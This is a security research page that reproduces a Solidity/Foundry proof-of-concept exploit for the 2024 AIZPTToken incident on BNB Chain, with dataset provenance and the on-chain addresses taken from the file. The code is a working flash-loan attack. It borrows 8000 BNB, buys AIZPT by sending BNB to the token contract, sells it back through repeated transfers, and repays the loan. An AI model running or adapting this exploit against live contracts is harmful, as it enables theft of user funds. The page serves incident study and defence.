Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/AIZPTToken_exp.sol

Public reproduction file for dataset entry AIZPTToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/AIZPTToken_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 34.88 BNB (~$20K USD)
8// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
9// Attack Contract : https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320
10// Vulnerable Contract : https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b6218888
11// Attack Tx : https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d
12// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
14// Contracts involved
15address constant PancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
16address constant BUSDT = 0x55d398326f99059fF775485246999027B3197955;
17address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
18address constant AIZPT = 0xBe779D420b7D573C08EEe226B9958737b6218888;
20contract AIZPTToken_exp is Test {
21 address attacker = makeAddr("attacker");
23 function setUp() public {
24 vm.createSelectFork("bsc", 42_846_998 - 1);
25 }
27 function testPoC() public {
28 vm.startPrank(attacker);
29 AttackerC attackerC = new AttackerC();
30 vm.label(address(attackerC), "attackerC");
32 attackerC.attack();
34 console.log("Final balance in wBNB :", IERC20(weth).balanceOf(attacker));
35 }
38contract AttackerC {
39 function attack() external {
40 IFS(PancakeV3Pool).flash(address(this), 0, 8000 ether, "");
42 IERC20(weth).transfer(msg.sender, IERC20(weth).balanceOf(address(this)));
43 }
45 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
46 IFS(weth).withdraw(8000 ether);
48 AIZPT.call{value: 8000 ether}("");
50 for (uint256 i; i < 199; ++i) {
51 IERC20(AIZPT).transfer(AIZPT, 3_837_275 ether);
52 }
54 IFS(weth).deposit{value: address(this).balance}();
56 IERC20(weth).transfer(PancakeV3Pool, 8_004_100_000_000_000_000_000);
57 }
59 receive() external payable {}
62interface IFS is IERC20 {
63 // PancakeV3Pool
64 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
66 // WETH
67 function withdraw(
68 uint256
69 ) external;
70 function deposit() external payable;

Analysis

Dataset entry

Public Foundry test for “AIZPTToken” (2024-10-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3026c464d3bd6ef0ced0d49e80f171b58176ce32

  • Attack Contract

    0x8408497c18882bfb61be9204cfff530f4ee18320

  • Vulnerable Contract

    0xbe779d420b7d573c08eee226b9958737b6218888

  • Attack Tx

    0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d

File record

Name
AIZPTToken
Path
src/test/2024-10/AIZPTToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2c45698813690cebe8417b2d0601f27f7be8fa03
Language
Solidity
Size
72 lines
Date
2024-10-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/AIZPTToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c45698813690cebe8417b2d0601f27f7be8fa03, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.